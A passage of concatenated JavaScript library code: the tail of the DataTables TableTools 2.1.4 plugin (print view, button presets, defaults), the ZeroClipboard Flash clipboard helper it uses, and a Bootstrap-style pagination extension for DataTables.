var asReturn = [];
var iStrlen = sData.length;
for ( var i=0 ; i<iStrlen ; i+=iSize )
{
if ( i+iSize < iStrlen )
{
asReturn.push( sData.substring( i, i+iSize ) );
}
else
{
asReturn.push( sData.substring( i, iStrlen ) );
}
}
return asReturn;
},
/**
* Decode HTML entities
* @method _fnHtmlDecode
* @param {String} sData encoded string
* @returns {String} decoded string
* @private
*/
"_fnHtmlDecode": function ( sData )
{
if ( sData.indexOf('&') === -1 )
{
return sData;
}
var n = document.createElement('div');
return sData.replace( /&([^\s]*);/g, function( match, match2 ) {
if ( match.substr(1, 1) === '#' )
{
return String.fromCharCode( Number(match2.substr(1)) );
}
else
{
n.innerHTML = match;
return n.childNodes[0].nodeValue;
}
} );
},
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Printing functions
*/
/**
* Show print display
* @method _fnPrintStart
* @param {Event} e Event object
* @param {Object} oConfig Button configuration object
* @returns void
* @private
*/
"_fnPrintStart": function ( oConfig )
{
var that = this;
var oSetDT = this.s.dt;
/* Parse through the DOM hiding everything that isn't needed for the table */
this._fnPrintHideNodes( oSetDT.nTable );
/* Show the whole table */
this.s.print.saveStart = oSetDT._iDisplayStart;
this.s.print.saveLength = oSetDT._iDisplayLength;
if ( oConfig.bShowAll )
{
oSetDT._iDisplayStart = 0;
oSetDT._iDisplayLength = -1;
oSetDT.oApi._fnCalculateEnd( oSetDT );
oSetDT.oApi._fnDraw( oSetDT );
}
/* Adjust the display for scrolling which might be done by DataTables */
if ( oSetDT.oScroll.sX !== "" || oSetDT.oScroll.sY !== "" )
{
this._fnPrintScrollStart( oSetDT );
// If the table redraws while in print view, the DataTables scrolling
// setup would hide the header, so we need to readd it on draw
$(this.s.dt.nTable).bind('draw.DTTT_Print', function () {
that._fnPrintScrollStart( oSetDT );
} );
}
/* Remove the other DataTables feature nodes - but leave the table! and info div */
var anFeature = oSetDT.aanFeatures;
for ( var cFeature in anFeature )
{
if ( cFeature != 'i' && cFeature != 't' && cFeature.length == 1 )
{
for ( var i=0, iLen=anFeature[cFeature].length ; i<iLen ; i++ )
{
this.dom.print.hidden.push( {
"node": anFeature[cFeature][i],
"display": "block"
} );
anFeature[cFeature][i].style.display = "none";
}
}
}
/* Print class can be used for styling */
$(document.body).addClass( this.classes.print.body );
/* Show information message to let the user know what is happening */
if ( oConfig.sInfo !== "" )
{
this.fnInfo( oConfig.sInfo, 3000 );
}
/* Add a message at the top of the page */
if ( oConfig.sMessage )
{
this.dom.print.message = document.createElement( "div" );
this.dom.print.message.className = this.classes.print.message;
this.dom.print.message.innerHTML = oConfig.sMessage;
document.body.insertBefore( this.dom.print.message, document.body.childNodes[0] );
}
/* Cache the scrolling and the jump to the top of the page */
this.s.print.saveScroll = $(window).scrollTop();
window.scrollTo( 0, 0 );
/* Bind a key event listener to the document for the escape key -
* it is removed in the callback
*/
$(document).bind( "keydown.DTTT", function(e) {
/* Only interested in the escape key */
if ( e.keyCode == 27 )
{
e.preventDefault();
that._fnPrintEnd.call( that, e );
}
} );
},
/**
* Printing is finished, resume normal display
* @method _fnPrintEnd
* @param {Event} e Event object
* @returns void
* @private
*/
"_fnPrintEnd": function ( e )
{
var that = this;
var oSetDT = this.s.dt;
var oSetPrint = this.s.print;
var oDomPrint = this.dom.print;
/* Show all hidden nodes */
this._fnPrintShowNodes();
/* Restore DataTables' scrolling */
if ( oSetDT.oScroll.sX !== "" || oSetDT.oScroll.sY !== "" )
{
$(this.s.dt.nTable).unbind('draw.DTTT_Print');
this._fnPrintScrollEnd();
}
/* Restore the scroll */
window.scrollTo( 0, oSetPrint.saveScroll );
/* Drop the print message */
if ( oDomPrint.message !== null )
{
document.body.removeChild( oDomPrint.message );
oDomPrint.message = null;
}
/* Styling class */
$(document.body).removeClass( 'DTTT_Print' );
/* Restore the table length */
oSetDT._iDisplayStart = oSetPrint.saveStart;
oSetDT._iDisplayLength = oSetPrint.saveLength;
oSetDT.oApi._fnCalculateEnd( oSetDT );
oSetDT.oApi._fnDraw( oSetDT );
$(document).unbind( "keydown.DTTT" );
},
/**
* Take account of scrolling in DataTables by showing the full table
* @returns void
* @private
*/
"_fnPrintScrollStart": function ()
{
var
oSetDT = this.s.dt,
nScrollHeadInner = oSetDT.nScrollHead.getElementsByTagName('div')[0],
nScrollHeadTable = nScrollHeadInner.getElementsByTagName('table')[0],
nScrollBody = oSetDT.nTable.parentNode;
/* Copy the header in the thead in the body table, this way we show one single table when
* in print view. Note that this section of code is more or less verbatim from DT 1.7.0
*/
var nTheadSize = oSetDT.nTable.getElementsByTagName('thead');
if ( nTheadSize.length > 0 )
{
oSetDT.nTable.removeChild( nTheadSize[0] );
}
if ( oSetDT.nTFoot !== null )
{
var nTfootSize = oSetDT.nTable.getElementsByTagName('tfoot');
if ( nTfootSize.length > 0 )
{
oSetDT.nTable.removeChild( nTfootSize[0] );
}
}
nTheadSize = oSetDT.nTHead.cloneNode(true);
oSetDT.nTable.insertBefore( nTheadSize, oSetDT.nTable.childNodes[0] );
if ( oSetDT.nTFoot !== null )
{
nTfootSize = oSetDT.nTFoot.cloneNode(true);
oSetDT.nTable.insertBefore( nTfootSize, oSetDT.nTable.childNodes[1] );
}
/* Now adjust the table's viewport so we can actually see it */
if ( oSetDT.oScroll.sX !== "" )
{
oSetDT.nTable.style.width = $(oSetDT.nTable).outerWidth()+"px";
nScrollBody.style.width = $(oSetDT.nTable).outerWidth()+"px";
nScrollBody.style.overflow = "visible";
}
if ( oSetDT.oScroll.sY !== "" )
{
nScrollBody.style.height = $(oSetDT.nTable).outerHeight()+"px";
nScrollBody.style.overflow = "visible";
}
},
/**
* Take account of scrolling in DataTables by showing the full table. Note that the redraw of
* the DataTable that we do will actually deal with the majority of the hard work here
* @returns void
* @private
*/
"_fnPrintScrollEnd": function ()
{
var
oSetDT = this.s.dt,
nScrollBody = oSetDT.nTable.parentNode;
if ( oSetDT.oScroll.sX !== "" )
{
nScrollBody.style.width = oSetDT.oApi._fnStringToCss( oSetDT.oScroll.sX );
nScrollBody.style.overflow = "auto";
}
if ( oSetDT.oScroll.sY !== "" )
{
nScrollBody.style.height = oSetDT.oApi._fnStringToCss( oSetDT.oScroll.sY );
nScrollBody.style.overflow = "auto";
}
},
/**
* Resume the display of all TableTools hidden nodes
* @method _fnPrintShowNodes
* @returns void
* @private
*/
"_fnPrintShowNodes": function ( )
{
var anHidden = this.dom.print.hidden;
for ( var i=0, iLen=anHidden.length ; i<iLen ; i++ )
{
anHidden[i].node.style.display = anHidden[i].display;
}
anHidden.splice( 0, anHidden.length );
},
/**
* Hide nodes which are not needed in order to display the table. Note that this function is
* recursive
* @method _fnPrintHideNodes
* @param {Node} nNode Element which should be showing in a 'print' display
* @returns void
* @private
*/
"_fnPrintHideNodes": function ( nNode )
{
var anHidden = this.dom.print.hidden;
var nParent = nNode.parentNode;
var nChildren = nParent.childNodes;
for ( var i=0, iLen=nChildren.length ; i<iLen ; i++ )
{
if ( nChildren[i] != nNode && nChildren[i].nodeType == 1 )
{
/* If our node is shown (don't want to show nodes which were previously hidden) */
var sDisplay = $(nChildren[i]).css("display");
if ( sDisplay != "none" )
{
/* Cache the node and it's previous state so we can restore it */
anHidden.push( {
"node": nChildren[i],
"display": sDisplay
} );
nChildren[i].style.display = "none";
}
}
}
if ( nParent.nodeName != "BODY" )
{
this._fnPrintHideNodes( nParent );
}
}
};
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Static variables
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* Store of all instances that have been created of TableTools, so one can look up other (when
* there is need of a master)
* @property _aInstances
* @type Array
* @default []
* @private
*/
TableTools._aInstances = [];
/**
* Store of all listeners and their callback functions
* @property _aListeners
* @type Array
* @default []
*/
TableTools._aListeners = [];
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Static methods
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/**
* Get an array of all the master instances
* @method fnGetMasters
* @returns {Array} List of master TableTools instances
* @static
*/
TableTools.fnGetMasters = function ()
{
var a = [];
for ( var i=0, iLen=TableTools._aInstances.length ; i<iLen ; i++ )
{
if ( TableTools._aInstances[i].s.master )
{
a.push( TableTools._aInstances[i] );
}
}
return a;
};
/**
* Get the master instance for a table node (or id if a string is given)
* @method fnGetInstance
* @returns {Object} ID of table OR table node, for which we want the TableTools instance
* @static
*/
TableTools.fnGetInstance = function ( node )
{
if ( typeof node != 'object' )
{
node = document.getElementById(node);
}
for ( var i=0, iLen=TableTools._aInstances.length ; i<iLen ; i++ )
{
if ( TableTools._aInstances[i].s.master && TableTools._aInstances[i].dom.table == node )
{
return TableTools._aInstances[i];
}
}
return null;
};
/**
* Add a listener for a specific event
* @method _fnEventListen
* @param {Object} that Scope of the listening function (i.e. 'this' in the caller)
* @param {String} type Event type
* @param {Function} fn Function
* @returns void
* @private
* @static
*/
TableTools._fnEventListen = function ( that, type, fn )
{
TableTools._aListeners.push( {
"that": that,
"type": type,
"fn": fn
} );
};
/**
* An event has occurred - look up every listener and fire it off. We check that the event we are
* going to fire is attached to the same table (using the table node as reference) before firing
* @method _fnEventDispatch
* @param {Object} that Scope of the listening function (i.e. 'this' in the caller)
* @param {String} type Event type
* @param {Node} node Element that the event occurred on (may be null)
* @param {boolean} [selected] Indicate if the node was selected (true) or deselected (false)
* @returns void
* @private
* @static
*/
TableTools._fnEventDispatch = function ( that, type, node, selected )
{
var listeners = TableTools._aListeners;
for ( var i=0, iLen=listeners.length ; i<iLen ; i++ )
{
if ( that.dom.table == listeners[i].that.dom.table && listeners[i].type == type )
{
listeners[i].fn( node, selected );
}
}
};
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Constants
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
TableTools.buttonBase = {
// Button base
"sAction": "text",
"sTag": "default",
"sLinerTag": "default",
"sButtonClass": "DTTT_button_text",
"sButtonText": "Button text",
"sTitle": "",
"sToolTip": "",
// Common button specific options
"sCharSet": "utf8",
"bBomInc": false,
"sFileName": "*.csv",
"sFieldBoundary": "",
"sFieldSeperator": "\t",
"sNewLine": "auto",
"mColumns": "all", /* "all", "visible", "hidden" or array of column integers */
"bHeader": true,
"bFooter": true,
"bOpenRows": false,
"bSelectedOnly": false,
// Callbacks
"fnMouseover": null,
"fnMouseout": null,
"fnClick": null,
"fnSelect": null,
"fnComplete": null,
"fnInit": null,
"fnCellRender": null
};
/**
* @namespace Default button configurations
*/
TableTools.BUTTONS = {
"csv": $.extend( {}, TableTools.buttonBase, {
"sAction": "flash_save",
"sButtonClass": "DTTT_button_csv",
"sButtonText": "CSV",
"sFieldBoundary": '"',
"sFieldSeperator": ",",
"fnClick": function( nButton, oConfig, flash ) {
this.fnSetText( flash, this.fnGetTableData(oConfig) );
}
} ),
"xls": $.extend( {}, TableTools.buttonBase, {
"sAction": "flash_save",
"sCharSet": "utf16le",
"bBomInc": true,
"sButtonClass": "DTTT_button_xls",
"sButtonText": "Excel",
"fnClick": function( nButton, oConfig, flash ) {
this.fnSetText( flash, this.fnGetTableData(oConfig) );
}
} ),
"copy": $.extend( {}, TableTools.buttonBase, {
"sAction": "flash_copy",
"sButtonClass": "DTTT_button_copy",
"sButtonText": "Copy",
"fnClick": function( nButton, oConfig, flash ) {
this.fnSetText( flash, this.fnGetTableData(oConfig) );
},
"fnComplete": function(nButton, oConfig, flash, text) {
var
lines = text.split('\n').length,
len = this.s.dt.nTFoot === null ? lines-1 : lines-2,
plural = (len==1) ? "" : "s";
this.fnInfo( '<h6>Table copied</h6>'+
'<p>Copied '+len+' row'+plural+' to the clipboard.</p>',
1500
);
}
} ),
"pdf": $.extend( {}, TableTools.buttonBase, {
"sAction": "flash_pdf",
"sNewLine": "\n",
"sFileName": "*.pdf",
"sButtonClass": "DTTT_button_pdf",
"sButtonText": "PDF",
"sPdfOrientation": "portrait",
"sPdfSize": "A4",
"sPdfMessage": "",
"fnClick": function( nButton, oConfig, flash ) {
this.fnSetText( flash,
"title:"+ this.fnGetTitle(oConfig) +"\n"+
"message:"+ oConfig.sPdfMessage +"\n"+
"colWidth:"+ this.fnCalcColRatios(oConfig) +"\n"+
"orientation:"+ oConfig.sPdfOrientation +"\n"+
"size:"+ oConfig.sPdfSize +"\n"+
"--/TableToolsOpts--\n" +
this.fnGetTableData(oConfig)
);
}
} ),
"print": $.extend( {}, TableTools.buttonBase, {
"sInfo": "<h6>Print view</h6><p>Please use your browser's print function to "+
"print this table. Press escape when finished.",
"sMessage": null,
"bShowAll": true,
"sToolTip": "View print view",
"sButtonClass": "DTTT_button_print",
"sButtonText": "Print",
"fnClick": function ( nButton, oConfig ) {
this.fnPrint( true, oConfig );
}
} ),
"text": $.extend( {}, TableTools.buttonBase ),
"select": $.extend( {}, TableTools.buttonBase, {
"sButtonText": "Select button",
"fnSelect": function( nButton, oConfig ) {
if ( this.fnGetSelected().length !== 0 ) {
$(nButton).removeClass( this.classes.buttons.disabled );
} else {
$(nButton).addClass( this.classes.buttons.disabled );
}
},
"fnInit": function( nButton, oConfig ) {
$(nButton).addClass( this.classes.buttons.disabled );
}
} ),
"select_single": $.extend( {}, TableTools.buttonBase, {
"sButtonText": "Select button",
"fnSelect": function( nButton, oConfig ) {
var iSelected = this.fnGetSelected().length;
if ( iSelected == 1 ) {
$(nButton).removeClass( this.classes.buttons.disabled );
} else {
$(nButton).addClass( this.classes.buttons.disabled );
}
},
"fnInit": function( nButton, oConfig ) {
$(nButton).addClass( this.classes.buttons.disabled );
}
} ),
"select_all": $.extend( {}, TableTools.buttonBase, {
"sButtonText": "Select all",
"fnClick": function( nButton, oConfig ) {
this.fnSelectAll();
},
"fnSelect": function( nButton, oConfig ) {
if ( this.fnGetSelected().length == this.s.dt.fnRecordsDisplay() ) {
$(nButton).addClass( this.classes.buttons.disabled );
} else {
$(nButton).removeClass( this.classes.buttons.disabled );
}
}
} ),
"select_none": $.extend( {}, TableTools.buttonBase, {
"sButtonText": "Deselect all",
"fnClick": function( nButton, oConfig ) {
this.fnSelectNone();
},
"fnSelect": function( nButton, oConfig ) {
if ( this.fnGetSelected().length !== 0 ) {
$(nButton).removeClass( this.classes.buttons.disabled );
} else {
$(nButton).addClass( this.classes.buttons.disabled );
}
},
"fnInit": function( nButton, oConfig ) {
$(nButton).addClass( this.classes.buttons.disabled );
}
} ),
"ajax": $.extend( {}, TableTools.buttonBase, {
"sAjaxUrl": "/xhr.php",
"sButtonText": "Ajax button",
"fnClick": function( nButton, oConfig ) {
var sData = this.fnGetTableData(oConfig);
$.ajax( {
"url": oConfig.sAjaxUrl,
"data": [
{ "name": "tableData", "value": sData }
],
"success": oConfig.fnAjaxComplete,
"dataType": "json",
"type": "POST",
"cache": false,
"error": function () {
alert( "Error detected when sending table data to server" );
}
} );
},
"fnAjaxComplete": function( json ) {
alert( 'Ajax complete' );
}
} ),
"div": $.extend( {}, TableTools.buttonBase, {
"sAction": "div",
"sTag": "div",
"sButtonClass": "DTTT_nonbutton",
"sButtonText": "Text button"
} ),
"collection": $.extend( {}, TableTools.buttonBase, {
"sAction": "collection",
"sButtonClass": "DTTT_button_collection",
"sButtonText": "Collection",
"fnClick": function( nButton, oConfig ) {
this._fnCollectionShow(nButton, oConfig);
}
} )
};
/*
* on* callback parameters:
* 1. node - button element
* 2. object - configuration object for this button
* 3. object - ZeroClipboard reference (flash button only)
* 4. string - Returned string from Flash (flash button only - and only on 'complete')
*/
/**
* @namespace Classes used by TableTools - allows the styles to be override easily.
* Note that when TableTools initialises it will take a copy of the classes object
* and will use its internal copy for the remainder of its run time.
*/
TableTools.classes = {
"container": "DTTT_container",
"buttons": {
"normal": "DTTT_button",
"disabled": "DTTT_disabled"
},
"collection": {
"container": "DTTT_collection",
"background": "DTTT_collection_background",
"buttons": {
"normal": "DTTT_button",
"disabled": "DTTT_disabled"
}
},
"select": {
"table": "DTTT_selectable",
"row": "DTTT_selected"
},
"print": {
"body": "DTTT_Print",
"info": "DTTT_print_info",
"message": "DTTT_PrintMessage"
}
};
/**
* @namespace ThemeRoller classes - built in for compatibility with DataTables'
* bJQueryUI option.
*/
TableTools.classes_themeroller = {
"container": "DTTT_container ui-buttonset ui-buttonset-multi",
"buttons": {
"normal": "DTTT_button ui-button ui-state-default"
},
"collection": {
"container": "DTTT_collection ui-buttonset ui-buttonset-multi"
}
};
/**
* @namespace TableTools default settings for initialisation
*/
TableTools.DEFAULTS = {
"sSwfPath": "media/swf/copy_csv_xls_pdf.swf",
"sRowSelect": "none",
"sSelectedClass": null,
"fnPreRowSelect": null,
"fnRowSelected": null,
"fnRowDeselected": null,
"aButtons": [ "copy", "csv", "xls", "pdf", "print" ],
"oTags": {
"container": "div",
"button": "a", // We really want to use buttons here, but Firefox and IE ignore the
// click on the Flash element in the button (but not mouse[in|out]).
"liner": "span",
"collection": {
"container": "div",
"button": "a",
"liner": "span"
}
}
};
/**
* Name of this class
* @constant CLASS
* @type String
* @default TableTools
*/
TableTools.prototype.CLASS = "TableTools";
/**
* TableTools version
* @constant VERSION
* @type String
* @default See code
*/
TableTools.VERSION = "2.1.4";
TableTools.prototype.VERSION = TableTools.VERSION;
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Initialisation
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
* Register a new feature with DataTables
*/
if ( typeof $.fn.dataTable == "function" &&
typeof $.fn.dataTableExt.fnVersionCheck == "function" &&
$.fn.dataTableExt.fnVersionCheck('1.9.0') )
{
$.fn.dataTableExt.aoFeatures.push( {
"fnInit": function( oDTSettings ) {
var oOpts = typeof oDTSettings.oInit.oTableTools != 'undefined' ?
oDTSettings.oInit.oTableTools : {};
var oTT = new TableTools( oDTSettings.oInstance, oOpts );
TableTools._aInstances.push( oTT );
return oTT.dom.container;
},
"cFeature": "T",
"sFeature": "TableTools"
} );
}
else
{
alert( "Warning: TableTools 2 requires DataTables 1.9.0 or newer - www.datatables.net/download");
}
$.fn.DataTable.TableTools = TableTools;
})(jQuery, window, document);
| JavaScript |
// Simple Set Clipboard System
// Author: Joseph Huckaby
var ZeroClipboard_TableTools = {
version: "1.0.4-TableTools2",
clients: {}, // registered upload clients on page, indexed by id
moviePath: '', // URL to movie
nextId: 1, // ID of next movie
$: function(thingy) {
// simple DOM lookup utility function
if (typeof(thingy) == 'string') thingy = document.getElementById(thingy);
if (!thingy.addClass) {
// extend element with a few useful methods
thingy.hide = function() { this.style.display = 'none'; };
thingy.show = function() { this.style.display = ''; };
thingy.addClass = function(name) { this.removeClass(name); this.className += ' ' + name; };
thingy.removeClass = function(name) {
this.className = this.className.replace( new RegExp("\\s*" + name + "\\s*"), " ").replace(/^\s+/, '').replace(/\s+$/, '');
};
thingy.hasClass = function(name) {
return !!this.className.match( new RegExp("\\s*" + name + "\\s*") );
}
}
return thingy;
},
setMoviePath: function(path) {
// set path to ZeroClipboard.swf
this.moviePath = path;
},
dispatch: function(id, eventName, args) {
// receive event from flash movie, send to client
var client = this.clients[id];
if (client) {
client.receiveEvent(eventName, args);
}
},
register: function(id, client) {
// register new client to receive events
this.clients[id] = client;
},
getDOMObjectPosition: function(obj) {
// get absolute coordinates for dom element
var info = {
left: 0,
top: 0,
width: obj.width ? obj.width : obj.offsetWidth,
height: obj.height ? obj.height : obj.offsetHeight
};
if ( obj.style.width != "" )
info.width = obj.style.width.replace("px","");
if ( obj.style.height != "" )
info.height = obj.style.height.replace("px","");
while (obj) {
info.left += obj.offsetLeft;
info.top += obj.offsetTop;
obj = obj.offsetParent;
}
return info;
},
Client: function(elem) {
// constructor for new simple upload client
this.handlers = {};
// unique ID
this.id = ZeroClipboard_TableTools.nextId++;
this.movieId = 'ZeroClipboard_TableToolsMovie_' + this.id;
// register client with singleton to receive flash events
ZeroClipboard_TableTools.register(this.id, this);
// create movie
if (elem) this.glue(elem);
}
};
ZeroClipboard_TableTools.Client.prototype = {
id: 0, // unique ID for us
ready: false, // whether movie is ready to receive events or not
movie: null, // reference to movie object
clipText: '', // text to copy to clipboard
fileName: '', // default file save name
action: 'copy', // action to perform
handCursorEnabled: true, // whether to show hand cursor, or default pointer cursor
cssEffects: true, // enable CSS mouse effects on dom container
handlers: null, // user event handlers
sized: false,
glue: function(elem, title) {
// glue to DOM element
// elem can be ID or actual DOM element object
this.domElement = ZeroClipboard_TableTools.$(elem);
// float just above object, or zIndex 99 if dom element isn't set
var zIndex = 99;
if (this.domElement.style.zIndex) {
zIndex = parseInt(this.domElement.style.zIndex) + 1;
}
// find X/Y position of domElement
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
// create floating DIV above element
this.div = document.createElement('div');
var style = this.div.style;
style.position = 'absolute';
style.left = '0px';
style.top = '0px';
style.width = (box.width) + 'px';
style.height = box.height + 'px';
style.zIndex = zIndex;
if ( typeof title != "undefined" && title != "" ) {
this.div.title = title;
}
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
}
// style.backgroundColor = '#f00'; // debug
if ( this.domElement ) {
this.domElement.appendChild(this.div);
this.div.innerHTML = this.getHTML( box.width, box.height );
}
},
positionElement: function() {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.position = 'absolute';
//style.left = (this.domElement.offsetLeft)+'px';
//style.top = this.domElement.offsetTop+'px';
style.width = box.width + 'px';
style.height = box.height + 'px';
if ( box.width != 0 && box.height != 0 ) {
this.sized = true;
} else {
return;
}
var flash = this.div.childNodes[0];
flash.width = box.width;
flash.height = box.height;
},
getHTML: function(width, height) {
// return HTML for movie
var html = '';
var flashvars = 'id=' + this.id +
'&width=' + width +
'&height=' + height;
if (navigator.userAgent.match(/MSIE/)) {
// IE gets an OBJECT tag
var protocol = location.href.match(/^https/i) ? 'https://' : 'http://';
html += '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="'+protocol+'download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=10,0,0,0" width="'+width+'" height="'+height+'" id="'+this.movieId+'" align="middle"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="false" /><param name="movie" value="'+ZeroClipboard_TableTools.moviePath+'" /><param name="loop" value="false" /><param name="menu" value="false" /><param name="quality" value="best" /><param name="bgcolor" value="#ffffff" /><param name="flashvars" value="'+flashvars+'"/><param name="wmode" value="transparent"/></object>';
}
else {
// all other browsers get an EMBED tag
html += '<embed id="'+this.movieId+'" src="'+ZeroClipboard_TableTools.moviePath+'" loop="false" menu="false" quality="best" bgcolor="#ffffff" width="'+width+'" height="'+height+'" name="'+this.movieId+'" align="middle" allowScriptAccess="always" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" flashvars="'+flashvars+'" wmode="transparent" />';
}
return html;
},
hide: function() {
// temporarily hide floater offscreen
if (this.div) {
this.div.style.left = '-2000px';
}
},
show: function() {
// show ourselves after a call to hide()
this.reposition();
},
destroy: function() {
// destroy control and floater
if (this.domElement && this.div) {
this.hide();
this.div.innerHTML = '';
var body = document.getElementsByTagName('body')[0];
try { body.removeChild( this.div ); } catch(e) {;}
this.domElement = null;
this.div = null;
}
},
reposition: function(elem) {
// reposition our floating div, optionally to new container
// warning: container CANNOT change size, only position
if (elem) {
this.domElement = ZeroClipboard_TableTools.$(elem);
if (!this.domElement) this.hide();
}
if (this.domElement && this.div) {
var box = ZeroClipboard_TableTools.getDOMObjectPosition(this.domElement);
var style = this.div.style;
style.left = '' + box.left + 'px';
style.top = '' + box.top + 'px';
}
},
clearText: function() {
// clear the text to be copy / saved
this.clipText = '';
if (this.ready) this.movie.clearText();
},
appendText: function(newText) {
// append text to that which is to be copied / saved
this.clipText += newText;
if (this.ready) { this.movie.appendText(newText) ;}
},
setText: function(newText) {
// set text to be copied to be copied / saved
this.clipText = newText;
if (this.ready) { this.movie.setText(newText) ;}
},
setCharSet: function(charSet) {
// set the character set (UTF16LE or UTF8)
this.charSet = charSet;
if (this.ready) { this.movie.setCharSet(charSet) ;}
},
setBomInc: function(bomInc) {
// set if the BOM should be included or not
this.incBom = bomInc;
if (this.ready) { this.movie.setBomInc(bomInc) ;}
},
setFileName: function(newText) {
// set the file name
this.fileName = newText;
if (this.ready) this.movie.setFileName(newText);
},
setAction: function(newText) {
// set action (save or copy)
this.action = newText;
if (this.ready) this.movie.setAction(newText);
},
addEventListener: function(eventName, func) {
// add user event listener for event
// event types: load, queueStart, fileStart, fileComplete, queueComplete, progress, error, cancel
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
if (!this.handlers[eventName]) this.handlers[eventName] = [];
this.handlers[eventName].push(func);
},
setHandCursor: function(enabled) {
// enable hand cursor (true), or default arrow cursor (false)
this.handCursorEnabled = enabled;
if (this.ready) this.movie.setHandCursor(enabled);
},
setCSSEffects: function(enabled) {
// enable or disable CSS effects on DOM container
this.cssEffects = !!enabled;
},
receiveEvent: function(eventName, args) {
// receive event from flash
eventName = eventName.toString().toLowerCase().replace(/^on/, '');
// special behavior for certain events
switch (eventName) {
case 'load':
// movie claims it is ready, but in IE this isn't always the case...
// bug fix: Cannot extend EMBED DOM elements in Firefox, must use traditional function
this.movie = document.getElementById(this.movieId);
if (!this.movie) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 1 );
return;
}
// firefox on pc needs a "kick" in order to set these in certain cases
if (!this.ready && navigator.userAgent.match(/Firefox/) && navigator.userAgent.match(/Windows/)) {
var self = this;
setTimeout( function() { self.receiveEvent('load', null); }, 100 );
this.ready = true;
return;
}
this.ready = true;
this.movie.clearText();
this.movie.appendText( this.clipText );
this.movie.setFileName( this.fileName );
this.movie.setAction( this.action );
this.movie.setCharSet( this.charSet );
this.movie.setBomInc( this.incBom );
this.movie.setHandCursor( this.handCursorEnabled );
break;
case 'mouseover':
if (this.domElement && this.cssEffects) {
//this.domElement.addClass('hover');
if (this.recoverActive) this.domElement.addClass('active');
}
break;
case 'mouseout':
if (this.domElement && this.cssEffects) {
this.recoverActive = false;
if (this.domElement.hasClass('active')) {
this.domElement.removeClass('active');
this.recoverActive = true;
}
//this.domElement.removeClass('hover');
}
break;
case 'mousedown':
if (this.domElement && this.cssEffects) {
this.domElement.addClass('active');
}
break;
case 'mouseup':
if (this.domElement && this.cssEffects) {
this.domElement.removeClass('active');
this.recoverActive = false;
}
break;
} // switch eventName
if (this.handlers[eventName]) {
for (var idx = 0, len = this.handlers[eventName].length; idx < len; idx++) {
var func = this.handlers[eventName][idx];
if (typeof(func) == 'function') {
// actual function reference
func(this, args);
}
else if ((typeof(func) == 'object') && (func.length == 2)) {
// PHP style object + method, i.e. [myObject, 'myMethod']
func[0][ func[1] ](this, args);
}
else if (typeof(func) == 'string') {
// name of function
window[func](this, args);
}
} // foreach event handler defined
} // user defined handler for event
}
};
| JavaScript |
/* Set the defaults for DataTables initialisation */
$.extend( true, $.fn.dataTable.defaults, {
"sDom": "<'dt-top-row'lf>r<'dt-wrapper't><'dt-row dt-bottom-row'<'row'<'col-sm-6'i><'col-sm-6 text-right'p>",
"sPaginationType": "bootstrap",
"oLanguage": {
"sLengthMenu": "_MENU_",
"sSearch": "_INPUT_"
}
} );
/* Default class modification */
$.extend( $.fn.dataTableExt.oStdClasses, {
"sWrapper": "dataTables_wrapper form-inline"
} );
/* API method to get paging information */
$.fn.dataTableExt.oApi.fnPagingInfo = function ( oSettings )
{
return {
"iStart": oSettings._iDisplayStart,
"iEnd": oSettings.fnDisplayEnd(),
"iLength": oSettings._iDisplayLength,
"iTotal": oSettings.fnRecordsTotal(),
"iFilteredTotal": oSettings.fnRecordsDisplay(),
"iPage": oSettings._iDisplayLength === -1 ? 0 : Math.ceil( oSettings._iDisplayStart / oSettings._iDisplayLength ),
"iTotalPages": oSettings._iDisplayLength === -1 ? 0 : Math.ceil( oSettings.fnRecordsDisplay() / oSettings._iDisplayLength )
};
};
/* Bootstrap style pagination control */
$.extend( $.fn.dataTableExt.oPagination, {
"bootstrap": {
"fnInit": function( oSettings, nPaging, fnDraw ) {
var oLang = oSettings.oLanguage.oPaginate;
var fnClickHandler = function ( e ) {
e.preventDefault();
if ( oSettings.oApi._fnPageChange(oSettings, e.data.action) ) {
fnDraw( oSettings );
}
};
$(nPaging).append(
'<ul class="pagination">'+
'<li class="prev disabled"><a href="#">'+oLang.sPrevious+'</a></li>'+
'<li class="next disabled"><a href="#">'+oLang.sNext+'</a></li>'+
'</ul>'
);
var els = $('a', nPaging);
$(els[0]).bind( 'click.DT', { action: "previous" }, fnClickHandler );
$(els[1]).bind( 'click.DT', { action: "next" }, fnClickHandler );
},
"fnUpdate": function ( oSettings, fnDraw ) {
var iListLength = 5;
var oPaging = oSettings.oInstance.fnPagingInfo();
var an = oSettings.aanFeatures.p;
var i, ien, j, sClass, iStart, iEnd, iHalf=Math.floor(iListLength/2);
if ( oPaging.iTotalPages < iListLength) {
iStart = 1;
iEnd = oPaging.iTotalPages;
}
else if ( oPaging.iPage <= iHalf ) {
iStart = 1;
iEnd = iListLength;
} else if ( oPaging.iPage >= (oPaging.iTotalPages-iHalf) ) {
iStart = oPaging.iTotalPages - iListLength + 1;
iEnd = oPaging.iTotalPages;
} else {
iStart = oPaging.iPage - iHalf + 1;
iEnd = iStart + iListLength - 1;
}
for ( i=0, ien=an.length ; i<ien ; i++ ) {
// Remove the middle elements
$('li:gt(0)', an[i]).filter(':not(:last)').remove();
